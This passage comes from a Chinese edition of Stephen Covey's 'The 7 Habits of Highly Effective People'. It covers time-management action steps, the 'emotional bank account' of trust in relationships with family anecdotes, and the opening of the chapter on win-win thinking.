言出必行。从此,就可以有效管理自己的生活,不 必再求助于其他任何人或任何事情。 有一个很有趣的现象就是,我列出来的高效能 人士的七个习惯全都属于第二类事务的活动,每一 个习惯都针对一些最基本、最重要的事情。如果你 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 251 ~ 能够将这些习惯体现到日常实践中的话,我们的生 活将会发生天翻地覆的变化。 付诸行动 1.首先找出一项平常被你忽略了的第二类事 务,这件事对你的生活有巨大影响,可以是个人生 活中的事务,也可以是工作中的事情。 2.画一个时间管理的矩阵,按照百分比将你 的时间分配给每一类事务。然后以十五分钟为计时 单位连续记录三天自己的活动情况,对照一下自己 的计划,看是否有很大的出入。你对自己这样使用 时间感到满意吗?你认为需要做哪些改变呢? 3.将你认为可以授权给他人做的事情列在一 张纸上,然后列出你认为可以做这些工作的人选或 者通过培训可以胜任工作的人选。思考一下应该如 何开始授权程序或者开展培训工作。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 252 ~ 4.计划你的下周活动。首先写出你在这个星 期里的角色和目标,然后将这些目标转化成具体的 行动计划。等这个星期结束的时候,评估一下你的 计划是否能够体现你的人生目标和主导价值观,你 是否能够始终坚持这些价值观和人生目标。 5.承诺以后每周都制订一个周计划,并规定 一个具体的时间专门做这件事情。 6.将目前使用的计划工具改造为第四代时间 管理工具,或设法取得这样一个工具。 7.阅读‚第四代的时间管理——高效能人士 的一天‛(附录二),以期更深入地理解以第二类事 务为中心的思维定式所产生的深刻影响。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 253 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 254 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 255 ~ 第三部分 公众领域的成功: 从独立到互赖 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 256 ~ 第六章 人际关系的本质 所谓情感账户,储存的是增进人际关系不可或 缺的‚依赖‛,也就是他人与你相处时的一分‚安全 感。‛ 能够增加情感账户存款的,是礼貌、诚实、仁 慈与信用。 反之,粗鲁、轻蔑、威逼与失信等等,会降低 情感账户的余额,到最后甚至透支,人际关系就要 拉警报了。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 257 ~ 没有信任就谈不上友谊,没有诚实也就谈不上 信任。 ——塞缪尔·约翰逊(Samuel Johnson) 英国辞典编纂家兼作家 个人独立不代表真正的成功,圆满人生还须追 求公众的成功。不过,群体的互赖关系须以个人真 正的独立为先决条件,想要抄近路是办不到的。 几年前,我在俄勒冈州沿岸地区主持一个研讨 会,有个人对我说:‚史蒂芬,我实在不喜欢参加这 种研讨会。‛他立刻引起了我的注意。 他接着说: ‚看看这里的海景,是那么的迷人, 再看看其他人,都颇有收获的样子,可是我呢,却 只能坐在这里,发愁晚上怎么应付太太的电话盘问。‛ ‚每次我出差她总是对我严加盘问。在哪里吃 的早餐?旁边还有谁?整个上午都在开会吗?什么时 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 258 ~ 候开始吃午餐?午餐时间都做了些什么?下午怎么过 的?晚上怎么消遣?和谁在一起?都谈了些什么?‛ ‚其实她真正想知道的是可以给谁打电话证 实一下我所说的话,可却从未直接问过这个问题。 每次我出差,她都唠唠叨叨地刨根问底,我真是烦 透了,实在很讨厌参加这些研讨会。‛ 他看起来的确很痛苦。我们聊了一会儿,然后 他有些不好意思地说出一个挺有趣的想法: ‚其实她 是有理由这么做的,当初我们就是在这种研讨会上 认识的,那时候我也是有妇之夫。‛ 我想了想他这句话的深意,然后说:‚你是不 是想速战速决?‛ ‚什么意思?‛他问。 ‚我是说,你是不是恨不得拿一把螺丝刀打开 你太太的脑袋,然后重接里面的线路,迅速改变她 的想法?‛ ‚是啊,我就是想改变她,我觉得她不应该这 样审问我。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 259 ~ 我说:‚朋友,这是由你的行为造成的,不可 能只靠谈话解决。‛ 这是一个很重要的观念——良好人际关系的基 础是自制与自知之明。有人说,爱人之前,必须先 爱自己。此言果然不虚,但是我更强调人贵知己。 了解自我才懂得分寸,也才能真正爱护自己。 所以说,独立是互赖的基础。缺乏独立人格, 却一味玩弄人际关系的技巧,纵使得逞于一时,也 不过是运气罢了。处顺境之中,还可任你为所欲为。 但天有不测风云,一旦面临逆境,技巧便不可靠了。 维系人与人之间的情谊,最要紧的不在于言语 或行为,而在于本性。言不由衷、虚伪造作的表面 功夫很快就会被识破,何以建立圆满的互赖关系? 由此可见,修身是公众成功的基础。完成修身 的功夫后,再向前看,面前又是一片崭新的领域。 良好的互赖关系可以使人享有深厚丰富的情感交流, 不断跃进的成长以及为社会服务奉献的机会。 不过,这也是最容易带来痛苦与挫折的领域, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 260 ~ 横亘在眼前的障碍纷至沓来,令人疲于应付。个人 生活的缺失,比如浑浑噩噩、漫无目标,只会在偶 尔刺激一下时,使你于心难安,想要有所振作,但 很快就习以为常、视若无睹了。 人际关系的挫折就不这么单纯了。它所带来的 痛苦,往往十分剧烈,令人无所遁形。无怪乎各种 标榜速效的人际关系成功术能盛行一时,只可惜强 调表面功夫的权术只能治标,不能治本。人际关系 的得失其实取决于更深一层的因素:舍本逐末将适 得其反。 这里,再借用鹅生金蛋的比喻来说明。鹅—— 良好的互赖关系,会生出完美的金蛋——团队合作、 开诚布公、积极互动以及高效能。为使鹅能够不断 生金蛋,就得悉心呵护,习惯四、五、六即着眼于 此。其次,我们再以“情感账户”(Emotional Bank Account)作比,解析人际关系中产出与产能平衡的 原理。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 261 ~ 情感账户 我们都知道银行账户就是把钱存进去,作为储 蓄,以备不时之需。情感账户里储蓄的是人际关系 中不可或缺的信任,是人与人相处时的那份安全感。 能够增加情感账户存款的,是礼貌、诚实、仁 慈与信用。这使别人对我更加信赖,必要时能发挥 相当的作用,甚至犯了错也可用这笔储蓄来弥补。 有了信赖,即使拙于言辞,也不致开罪于人,因为 对方不会误解你的用意。所以信赖可带来轻松、直 接且有效的沟通。 反之,粗鲁、轻蔑、威逼与失信等等,会降低 情感账户的余额,到最后甚至透支,人际关系就得 拉警报了。 这就仿佛如履薄冰,不得不谨言慎行,察言观 色。到处都弥漫着紧张的空气,步步为营,处处设 防。事实上很多团体、家庭和婚姻中都充满了这种 气氛。 如果没有追加的储蓄来维持较高的信用度,婚 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 262 ~ 姻关系就会恶化。好一点的同床异梦,勉强生活在 同一屋檐下,各自为政。恶劣一点的则恶言相向、 大打出手,甚至劳燕分飞。 越是持久的关系,越需要不断的储蓄。由于彼 此都有所期待,原有的信赖很容易枯竭。你是否有 过这种经验,偶尔与老同学相遇,即使多年未见, 仍可立刻重拾往日友谊,毫无生疏之感,那是因为 过去累积的感情仍在。但经常接触的人就必须时时 投资,否则突然间发生透支,会令人措手不及。 这种情形在青春期子女身上尤其明显。如果亲 子交谈的内容不外乎“该打扫房间啦,扣好衬衫的 扣子,用功读书,把收音机音量开小一点,别忘了 倒垃圾”等等,情感账户很快就会透支。 于是,当你的儿子面临人生重大抉择的时候, 他不会敞开心扉接受你的建议,因为你在他那里的 信用度太低,你们之间的交流是封闭的、机械式的。 尽管你睿智而又博学,可以助他一臂之力,但是就 因为你已经透支,他不会为了你短期性的感情投资 而影响自己的决定,结果可能是长期的负面影响。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 263 ~ 设想一下,如果你开始存钱到情感账户里,结 果会怎样?对他好一点的机会其实很多,比如看到他 对滑板运动感兴趣,就买一本相关的杂志带回家给 他,或者在他做事的时候,走过去问问他是否需要 帮助,还可以带他出去看电影或吃冰激凌。又或许 最重要、最有效的投入只是听他说说话,不要插入 你的判断,不要老把自己的过去搬出来,只是单纯 聆听,试着理解他,让他知道你在乎他,并且尊重 他。 他未必会马上做出回应,还可能满腹疑问:“爸 爸又想干什么?这一次妈妈又想用什么新招儿在我 身上?”但只要坚持下去,存款总会增加,赤字会越 来越小。 牢记一点:速战速决是不切实际的,建立和维 护关系都需要时间。如果因为他反应冷淡或者不以 为然就不耐烦起来,那就是前功尽弃。千万不要这 样去指责他: “我们为你做了那么多,牺牲了那么多, 你怎么这么没良心?我们想要做得好一点,你这叫什 么态度?真是太不像话了!” [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 264 ~ 当然,保持耐心很难,不但需要积极的态度, 还要对影响圈有所关注,要循序渐进,切忌为了获 得真相而破坏事物本身。 事实上速战速决的方法根本就不存在,建立并 维持人际关系是一种长期的投资行为。 六种主要的投资方式 这里推荐情感账户的六种主要的投资方式。 理解他人 理解他人是一切感情的基础。人如其面,各有 所好。同一种行为,在甲身上或许能增进感情,换 作了乙,效果便可能完全相反。因此只有了解并真 心接纳对方,才可以增进彼此的关系。比方 6 岁的 孩子趁你正忙的时候,为一件小事来烦你。在你看 来此事或许微不足道,在他小小心灵中,却是天下 第一要事。此时就得借助于习惯二,来认同旁人的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 265 ~ 观念与价值;运用习惯三,以对方的需要为优先考 虑而加以配合。 我有一个朋友是大学教授,有个十几岁的儿子, 父子间的关系十分紧张。这个人生活的全部内容就 是学术研究,他认为儿子整天动手不动脑,简直就 是浪费时间。结果不难想象,儿子总是对他不理不 睬的。虽然他也努力想要做一些感情投资,但是总 不得其法。儿子认为父亲只不过是换了一种方式来 表达他对自己的否定、比较和判断。他们的情感账 户好像被抽空了,关系越来越僵,这让做父亲的十 分伤心。 有一天,我和他谈起了‚如果你重视一个人, 那么必须同样重视他所重视的事情‛这个原则,他 真的听进去了。回家之后,他带着儿子在房子周围 建了一个小型长城,这个工程投入巨大,父子同心 协力。耗时一年半才完成。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 266 ~ 这次合作之后,儿子也开始转变,越来越喜欢 动脑了。而真正的收获还是父子关系的改善,它不 再是酝酿苦水的酒坛,而是父子欢乐和力量的源泉。 很多人都倾向于主观臆断他人的想法和需要, 觉得在自己身上适用的感情投资,一定也适用于他 人。一旦发现结果并不如自己所期望的那样,就会 觉得自己一片好意成了空,变得心灰意冷起来。 黄金定律说:想要别人怎样待你,就要怎样待 人。字面意思是你对待他人的方式最终会被返还给 自己,但我认为其内涵是,如果你希望别人了解你 的实际需要,首先要了解他们每一个人的实际需要, 然后据此给予帮助和支持。正如一个成功养育了几 个孩子的家长所说的那样:“区别对待他们,才是平 等的爱。” 注意小节 一些看似无关紧要的小节,如疏忽礼貌,不经 意的失言,最能消耗情感账户的存款。在人际关系 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 267 ~ 中,最重要的正是这些小事。 我记得几年前的一个傍晚,正是我同两个儿子 一起外出活动的时间,一般就是做运动、看摔跤比 赛、吃热狗、喝果汁和看电影。 电影看到一半,4 岁的儿子肖恩在座位上睡着 了,6 岁的史蒂芬还醒着,我们两个人一起看完了 那部电影。电影结束后,我抱起肖恩,走到我们的 车前,打开车门,把他放在后座上。那天晚上很冷。 于是我脱下外套,轻轻地盖在他的身上。 回到家,把肖恩送上床,我又照顾 6 岁的史蒂 芬准备睡觉。他上床以后,我躺在他身边,父子俩 聊着当晚的趣事。 平常他总是兴高采烈地忙着发表意见,那天却 累得异常安静,没什么反应。我很失望,也觉得有 点不对劲。突然史蒂芬偏过头去,对着墙。我翻身 一看,才发现他眼中噙着泪水。我问: ‚怎么啦?孩子,有什么不对吗?‛ 他转过头来,有点不好意思地问: [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 268 ~ ‚爸,如果我也觉得冷,你会不会也脱下外套 披在我身上?‛ 那天晚上我们一起做了那么多事情,可是在他 看来,最重要的却是我不经意间对他弟弟流露出的 父爱。 这件事无论在当时还是现在,对我来说都是深 刻的教训。人的内心都是极其柔弱和敏感的,不分 年龄和资历。哪怕是在最坚强和冷漠的外表下,也 往往隐藏着一颗脆弱的心。 信守承诺 守信是一大笔储蓄,背信则是庞大支出,代价 往往超出其他任何过失。一次严重的失信使人信誉 扫地,再难建立起良好的互赖关系。 作为一个父亲,我始终坚持这样一个原则,那 就是不轻易许诺,许过就一定要兑现。所以我对孩 子们许诺前总是再三思量,小心谨慎,把所有的可 能性都考虑到,以免因为一些突发状况而让我无法 兑现诺言。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 269 ~ 尽管如此,意外还是会偶尔发生,这时候信守 承诺实非明智之举,甚至没有可能。但是我对诺言 再三权衡后,要么坚持履行,要么向当事人解释无 法兑现的原因,直到对方允许我从诺言中脱身。 我相信一旦你养成了信守诺言的习惯,就等于 在与孩子之间的代沟上搭建了一座桥梁。当他想做 某件你并不赞同(因为阅历丰富的你可以看到孩子 无法预知的后果)的事情的时候,你可以对他说: “孩 子,如果这样做,我保证结果会是这个样子 0”如 果他习惯于相信你的话和承诺,就会听从劝告。 明确期望 设想一下你和老板在由谁来界定你的工作职责 这个问题上僵持不下的那种困境。 你问:“我什么时候能拿到我的职责描述?” 他说:“我正在等你拿给我,然后我们好探讨一 下。” “我认为我的工作职责应该由你来确定。” “绝对不是,你忘了从一开始我就说,怎么工 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 270 ~ 作完全由你自己决定?” “我以为你指的是我的工作质量由我自己决定, 可我连这个工作是什么都不知道。” 目标期望不明也会损害交流与信任。 “我严格遵照你的吩咐做的,这是报告。” “我不要这个。我想要你解决问题,而不是分 析问题然后把它写成报告。” “我觉得应该首先弄清问题,然后委托其他人 去解决它。” 你经历过多少次类似的谈话呢? “你说过„„” “不,你弄错了。我说的是„„” “不是!你从没说过让我这样做„„” “我肯定说过,而且说得很清楚„„” “你连提都没提过„„” “可我们明明说好了的„„” 几乎所有的人际关系障碍都源于对角色和目标 的期望不明或者意见不一致。我们需要明确应该由 谁来完成什么样的工作?比如当你想让女儿收拾自 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 271 ~ 己的房间的时候,你会怎样说?你想让谁去喂鱼和扔 垃圾?期望不明会导致误会、失望和信用度的降低。 很多期望都是含蓄的,从来没有明白地说出来 过,但是人们却想当然地认为这些事是心照不宣的。 实际情况并非如此。如果没有明确的期望,人们就 会变得感情用事,原本简单的小误会也会变得很复 杂,原本很小的事情也会导致严重的冲突和人身攻 击,最终不欢而散。 正确的做法是一开始就提出明确的期望,让相 关的每一个人都了解。要做到这一点需要投入很多 的时间和精力,不过事实会向你证明,这样做会省 去你将来更多的麻烦和周折。 正直诚信 正直诚信能够产生信任,也是其他感情投资的 基础。诚信,即诚实守信,既要有一说一,又要信 守承诺、履行约定,而表现这种品格的最好方法就 是避免背后攻击他人。如果能对不在场的人保持尊 重,在场的人也会尊重你。当你维护不在场的人的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 272 ~ 时候,在场的人也会对你报以信任。 缺乏诚信会让所有的感情投资都大打折扣。如 果一个人当面一套,背后一套,那么就算他能够理 解他人,注意细节,信守诺言,明确并满足他人期 望,仍然无法积累信誉。 假设你我曾经在背后攻击上司,那么一旦彼此 关系恶化,你肯定认为我会在背后诋毁你,就像当 初议论上司一样。你知道我当面甜言蜜语,背后恶 言恶语。这样表里不一,怎么能赢得你对我的信任 呢? 如果你刚想批评上司,我就表示同意,同时建 议我们直接去找他,一起商量怎么改善,你就会明 白,如果有人在我面前批评你,我也会这样处理。 再举例来说,假如我为了取得你的信任,就以 其他人的隐私讨好你:“其实我不应该告诉你,但谁 让咱们两个是朋友呢„„”我对另外一个人的背叛 能够换取你的信任吗?我想你多半会在心里盘算:这 家伙大概也会把我说过的什么话这样告诉别人吧。 可见,这恰恰告诉了对方你是一个两面三刀的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 273 ~ 人。在背后诋毁他人或者将他人的秘密到处散播, 也许会让你获得一时的快感,就像得到一个金蛋一 样,可实际上你已经杀死了会下金蛋的那只鹅,友 谊不再像从前那样愉快而长久,而是慢慢恶化。 在相互依赖的环境中,诚信就是平等对待所有 人。这样,人们就会慢慢信任你,纵使起初并非人 人都能接受这种作风,因为在人后闲言闲语是人的 通病;不同流合污,反而显得格格不入。好在路遥 知马力,日久见人心,诚恳坦荡终会赢得信任。 我的儿子约书亚小时候常问一个让我自省的问 题。每当我对他人反应过激或者不耐烦、不客气的 时候,他就会一脸无辜,亲昵地看着我的眼睛问: “爸爸,你爱我吗?”他想知道爸爸的这种一反常态 会不会也发生在他身上。 作为一名教师和一个父亲,我发现在征服九十 九个人之前,必须先征服一个人,特别是那个最能 考验你的耐心和好脾气的人。那九十九个人会通过 你对待这一个人的方式来设想你会如何对待他们, 因为每一个人都会是这个人。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 274 ~ 诚信还意味着不欺骗,不使诈和不冒犯。 “谎言” 的定义是“存心欺骗别人的话”。所以,要保持诚信, 无论语言还是行动都不能心存欺骗。 勇于致歉 当我们从情感账户上提款时,要向对方诚心致 歉,那会帮助我们增加存款: “我错了。” “那不是我的本意。” “我害你在朋友面前下不来台,虽然是无心之 失,但是实在不应该,我向你道歉。” 这种勇气并非人人具备,只有坚定自持、深具 安全感的人能够做到。缺乏自信的人唯恐道歉会显 得软弱,让自己受伤害,使别人得寸进尺。还不如 把过错归咎于人,反而更容易些。 西方有句名言:“还清最后一文钱”。要想使道 歉成为感情投资,就必须诚心诚意,而且要让对方 感受到这一点。 里奥·罗斯金(Leo Roskin)说过:“弱者才会残 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 275 ~ 忍,只有强者懂得温柔。” 一天下午,我在家里写关于耐心问题的文章。 孩子们在门厅里跑来跑去,我感觉自己的耐心正在 消失。 突然,儿子戴维一边敲浴室的门,一边扯着嗓 子大喊:‚让我进去!!让我进去!!‛ 我冲出书房,厉声说:‚戴维,你知不知道这 多妨碍我?你知不知道要集中精力写东西有多么难? 快回你房间去,等规矩一些的时候再出来。‛他只好 垂头丧气地进了房间,关上房门。 当我转过身来时,我意识到了另一个问题。这 些男孩原来是在门厅里玩橄榄球。有一个孩子的嘴 被撞着了,躺在地上,满嘴是血。我才知道戴维到 浴室是为了给他取条湿毛巾,但他姐姐玛利亚正在 洗澡,不让他进去。 我知道自己反应过了头,立即到戴维的房间向 他道歉。 我推开门,他劈头就对我说: ‚我决不原谅你。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 276 ~ ‚为什么不,宝贝?说真的,我不知道你是在 设法帮你的兄弟。你为什么不原谅我?‛ ‚因为你上星期也做了同样的事情。‛他回答 说。换句话,他是在说:‚爸爸,你已经透支了,你 那样说是不能解决你行为的后果的。‛ 真诚的道歉是一种感情投资,但是一歉再歉就 显得不真诚,会消耗你的情感账户,最终会通过人 际关系的质量反应出来。一般人可以容忍错误,因 为错误通常是无心之过。但动机不良,或企图文过 饰非,就不会获得宽恕。 无条件的爱 无条件的爱可以给人安全感与自信心,鼓励个 人肯定自我,追求成长,由于不附带任何条件,没 有任何牵绊,被爱者得以用自己的方式,检验人生 种种美好的境界。不过,无条件的付出并不代表软 弱。我们依然有原则、有限度、有是非观念,只是 无损于爱心。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 277 ~ 有条件的爱,往往会引起被爱者的反抗心理, 为证明自己的独立,不惜为反对而反对。其实这种 行为更显现出不成熟的心理,表示你仍受制于人。 我曾经有位朋友是一所名校的校长,他为了使 儿子也能挤进这所学校,费了九牛二虎之力。没想 到儿子居然拒绝,真令为父伤心不已。 就读名校对儿子的前途大有助益,更何况那已 成为家庭传统,朋友的家人连续三代都是该校校友。 可想而知,这位父亲必定想尽力转变儿子的心意。 可是孩子却反驳,他不愿为父亲读书。在父亲 心目中,进入名校比儿子更重要,这种爱是有条件 的。为了维护自主,他必须反抗这种安排。 幸好,朋友最后想通了。明知孩子可能违背他 的意愿,仍与妻子约定无条件放手,不论儿子做何 抉择,都支持到底。即使多年心血可能白费,却也 割舍得下,的确相当伟大。他们向孩子说明,一切 由他决定,父母绝不干预,而且绝非故作开明。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 278 ~ 没想到,摆脱了父母的压力,孩子反而切实反 省;发现自己其实也希望好好求学,于是仍决定申 请朋友主持的这所学校。听到这个消息,朋友自然 十分欣喜,但这个时候倒不是因为儿子最后的决定 与他不谋而合,而是身为父母,当然会为子女肯上 进感到欣慰。这才是无条件的爱。 一对一的人际关系 前 联 合 国 秘 书 长 哈 马 舍 尔 德 (Dag Hammarskjold)曾说过一句发人深省的名言:为一个 人完全奉献自己,胜过为拯救全世界而拼命。 我认为此话的涵义是,一个人尽管在“外务” 上多么了不起,却不见得能与妻子儿女或同事相处 融洽。因为为群体服务,远不及建立私人关系需要 更多人格修养。 最高领导阶层不和的现象在各种组织中都十分 常见:合伙人明争暗斗,董事长与总经理互相拆 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 279 ~ 台„„纵使事业做得再大,却解决不了切身问题。 可见人际关系越亲密,越是维护不易。 想当年首次看到这段话时,我与最得力的助手 之间,正为彼此心意不明而困扰,可就是提不起勇 气,与他讨论双方对角色、目标、价值,尤其是管 理方式的分歧。我委曲求全,不敢触及核心问题, 唯恐引起激烈冲突,但两人心结日深。 后来看到这句名言,鼓舞我设法改善与这位助 手的关系。我竭力坚定意念,因为这是件极为艰难 的事。还记得刚迈出办公室,要找他详谈时,紧张 得全身发抖。他似乎是个强悍固执的人,我正需要 借助这种才干与毅力,可又怕激怒了他,因而失去 一位好帮手。 在内心演练多次以后,我终于掌握住几个原则, 顿时勇气大增。在我俩正式交谈之下,我发现他居 然经历了同样的挣扎,也渴望与我恳谈,而且表现 出谦恭的态度。 我们截然不同的管理风格,令全公司无所适从, 但我们终于承认问题的存在。经过了数次沟通,把 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 280 ~ 问题摊在桌面上讨论,并一一加以解决。事后我们 反而成了知己,合作无间。 由此可见,一对一的关系是人生最基本的要素, 有赖高尚的人格来维系,只是管理众人之事的技巧 是不够的。 问题的反面是契机 这次经验也让我学得另一个重要观念,即面对 问题的态度。为了逃避问题,避免冲突,我蹉跎了 不下数月。事实却证明,问题反而是促进和谐的契 机。 因此,我认为在互赖关系中,问题就代表机会 ——增加情感账户存款的机会。 如果父母能把孩子身上出现的问题看作联络感 情的机会,而不是麻烦和负担,那么两代人之间的 关系就会大大改善,父母会更愿意,甚至是迫切地 理解并帮助孩子。当孩子带着问题来求助时,父母 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 281 ~ 不会大呼:“天啊,又怎么了!”而是想:“瞧,我又 有机会帮助孩子了,我们的关系会更进一步。”于是 交流成了促进感情的工具,而不是简单的敷衍。当 孩子感觉受重视的时候,亲子之间就建起了一座爱 与信任的坚实桥梁。 同样的模式在商业领域也有重要作用,有一个 连锁百货商店就是这样树立信誉的。只要顾客为了 问题而来,不论多小,商店职工都视之为同客户建 立关系的良机,会积极而热情地寻求解决途径,直 到顾客满意。他们礼貌而周到的服务让顾客认定了 这家商店,不再作他想。 在相互依赖的环境里,如果认识到产出/产能 平衡是效能的要素,我们就可以把问题看作是提高 产能的机会。 相互依赖的习惯 牢记情感账户这个概念,我们就可以开始探讨 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 282 ~ 获得公众领域的成功,即与他人合作顺利所必需的 习惯,我们会看到这些习惯怎样让相互依赖变得有 效,而其他想法和行为对我们又会有怎样的影响。 此外,我们还将深入了解为什么只有真正独立 的人才能够做到有效地相互依赖。时下流行的关注 于品德而非个人魅力的“双赢谈判”、 “反射式聆听” 或“创造性解题模式”等技巧对于获得公众领域的 成功并无益处。 现在还是一个个地深入探讨有助于获得公众领 域的成功的习惯吧。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 283 ~ 第七章 习惯四 双赢思维 ——人际领导的原则 双赢者把生活看作一个合作的舞台,而不是一 个角斗场。一般人看事情多用二分法:非强即弱, 非胜即败。其实世界之大,人人都有足够的立足空 间,他人之得不必就视为自己之失。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 284 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 285 ~ 金科玉律已深植我们脑海,现在则是奉行不渝 的时刻。 ——埃德温·马卡姆(Edwin Markham) 美国诗人 有一次,我应邀去一家公司,解决员工们缺乏 合作精神的问题。 总裁说:‚问题的关键就是他们都太自私,不 愿意合作,否则效率会大大提高。你能不能制订一 个解决方案?‛ 我问他:‚到底是人还是模式的问题?‛ ‚自己观察吧。‛他回答。 我发现,员工的确自私,抗拒合作,抵制命令, 沟通保守,情感账户的巨额支出已经造成了信任缺 失的企业文化。 我提醒总裁:‚员工为什么不愿意合作?难道不 合作会被奖励吗?‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 286 ~ ‚当然不会,‛他肯定地说,‚相反,我们奖励 合作。‛ 他指着办公室墙上一幅宝马图,每个跑道上的 赛马代表一位经理.跑道终点的奖品是风光明媚的 百慕大群岛之旅。每星期他都会召集全体经理,一 边训示合作的重要性,一边却以百慕大之旅做饵。 换句话说,总裁口头上高唱互助合作,实际上鼓励 彼此竞争,因为胜利者只有一名。 归根结底,这家公司的问题在于它的模式有误, 这在很多商业、家庭和其他关系中十分常见。该总 裁想用竞争模式实现合作,却发现这并不奏效,于 是寄希望于一些技巧、计划或者措施。 结果是治标不治本,只关注态度和行为无异于 隔靴搔痒,关键是要建立一种能突出合作价值的信 息和奖励机制,激励个人和部门创造佳绩。 不论你是总裁还是门卫,只要已经从独立自主 过渡到相互依赖的阶段,你就开始扮演领导角色, 影响着其他人,而有助于实现有效的人际领导的习 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 287 ~ 惯就是双赢思维。 人际交往的六种模式 双赢不是什么技巧,而是人际交往的哲学,是 六个交往模式之一,这六个模式分别是: ◎利人利己(双赢) ◎两败俱伤(输/输) ◎损人利己(赢/输) ◎独善其身(赢) ◎舍己为人(输/赢) ◎好聚好散(无交易) 利人利己(双赢) 这种模式会促使人不断地在所有的人际交往中 寻求双边利益。双赢就是双方有福同享,皆大欢喜, 这种结果会让所有人都愿意接受决定,完成计划。 双赢者把生活看作合作的舞台,而不是竞技场。但 是大多数人都用两分法看问题,非强即弱,不胜则 败。实际上这种想法是站不住脚的,它以力量和地 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 288 ~ 位,而非原则为准绳。其实世界之大,人人都有足 够的立足空间,他人之得不必就视为自己之失。 损人利己(赢/输) 损人利己是和双赢相对的另外一种模式,前面 提到的百慕大之旅竞争就是这种,意思是“我赢就 是你输”。秉持这种信念的人习惯于利用地位、权势、 财力、特权或个性来达到目的。 大多数人从小就被这种模式浸染。在家里,大 人总是喜欢把孩子进行比较,好孩子会得到更多的 爱、理解和耐心,这就营造了赢/输模式的氛围。 一旦爱被附加条件,孩子们就会认为自价值只有通 过比较和竞争才能实现。 “如果我做得比哥哥好,爸爸妈妈就会爱我多 一点。” “爸爸妈妈还是更喜欢妹妹,我一定没有她好。” 同龄人之间也容易衍生这种模式。孩子首先想 被父母认可,然后是同龄人,不管是兄弟姐妹还是 朋友。同龄人有时完全根据自己的期望和标准来选 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 289 ~ 择接受还是拒绝一个人,这就让赢/输模式更加根 深蒂固。 学校是赢/输模式的另一个温床, “正态分布曲 线”主要说明的是,你之所以得 A,是因为有人得 了 c。一个人的价值是通过与他人比较才得以实现 的,内在价值毫无意义,外在表现才最重要。 学校的等级制度只强调竞争和比较,完全忽视 学生的潜能和天赋,而这种等级又是社会价值的载 体,它可以让你一路畅通,也可以让你处处碰壁。 教育的核心就是竞争,不是合作,即便有合作,也 往往少不了尔虞我诈。 运动比赛也强化竞争的观念,提醒观众与选手, 人生同样是一场零和游戏,必须分出胜负,而且唯 有击败别人才能成就自己。 法律则硬把人区别为敌对双方,打官司就为分 出我是你非。所幸,目前司法界鼓励当事人庭外和 解,这表示兼顾双方利益的观念已逐渐受到重视。 诚然,在竞争激烈和信任薄弱的环境里,我们 需要赢/输模式。但是竞争在生活中只居少数,我 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 290 ~ 们不需要每天都和配偶、孩子、同事、邻居、朋友 竞争。“你和爱人谁说了算(谁是赢家)?”这是一个 很荒唐的问题,如果没有人赢,那就是两个都输。 现实生活需要相互依赖,而不是单枪匹马,你 的很多梦想都需要通过与他人合作才能实现,而赢 /输模式是这种合作的最大障碍。 舍己为人(输/赢) 有些人则正好相反,他们信奉输/赢模式。 “我认输,你赢了。” “就这样吧,我听你的。” “我是个和事佬,只要能息事宁人,我做什么 都行。” 这种人没有标准,没有要求,没有期望,也没 有将来。他们通常喜欢取悦他人,喜欢满足他人的 希望。别人的认同和接受能够给他们力量,他们没 有勇气表达自己的感受和信念,总是服从别人的意 志。 